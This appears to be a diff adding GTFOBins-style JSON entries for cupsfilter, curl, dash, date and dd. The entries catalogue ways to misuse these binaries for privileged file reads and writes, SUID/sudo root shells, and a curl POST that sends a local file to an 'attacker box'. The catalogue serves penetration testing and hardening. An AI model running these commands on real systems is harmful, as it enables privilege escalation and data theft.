|
|
29
|
+
]
|
|
30
|
+
}
|
|
31
|
+
}
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"code": "cupsfilter -i application/octet-stream -m application/octet-stream [file]\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"sudo": [
|
|
9
|
+
{
|
|
10
|
+
"code": "sudo cupsfilter -i application/octet-stream -m application/octet-stream [file]\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "./cupsfilter -i application/octet-stream -m application/octet-stream [file]\n"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/curl.json
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-upload": [
|
|
4
|
+
{
|
|
5
|
+
"description": "Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the '@' to send hard-coded data.",
|
|
6
|
+
"code": "curl -X POST -d @[file] [url]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-download": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Fetch a remote file via HTTP GET request.",
|
|
12
|
+
"code": "curl [url] -o [file]\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-read": [
|
|
16
|
+
{
|
|
17
|
+
"description": "The file path must be absolute.",
|
|
18
|
+
"code": "curl file://[file]\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"suid": [
|
|
22
|
+
{
|
|
23
|
+
"description": "Fetch a remote file via HTTP GET request.",
|
|
24
|
+
"code": "./curl [url] -o [file]\n"
|
|
25
|
+
}
|
|
26
|
+
],
|
|
27
|
+
"sudo": [
|
|
28
|
+
{
|
|
29
|
+
"description": "Fetch a remote file via HTTP GET request.",
|
|
30
|
+
"code": "sudo curl [url] -o [file]\n"
|
|
31
|
+
}
|
|
32
|
+
]
|
|
33
|
+
}
|
|
34
|
+
}
|
gtfo/data/cut.json
ADDED
gtfo/data/dash.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "dash"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-write": [
|
|
9
|
+
{
|
|
10
|
+
"code": "dash -c 'echo DATA > [file]'\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "./dash -p"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"sudo": [
|
|
19
|
+
{
|
|
20
|
+
"code": "sudo dash"
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|
gtfo/data/date.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files. This only works for the GNU variant of 'date'.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "date -f [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./date -f [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo date -f [file]\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/dd.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-write": [
|
|
4
|
+
{
|
|
5
|
+
"code": "echo \"DATA\" | dd of=[file]\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-read": [
|
|
9
|
+
{
|
|
10
|
+
"code": "dd if=[file]\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "echo \"DATA\" | ./dd of=[file]\n"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"sudo": [
|
|
19
|
+
{
|
|
20
|
+
"code": "echo \"DATA\" | sudo dd of=[file]\n"
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|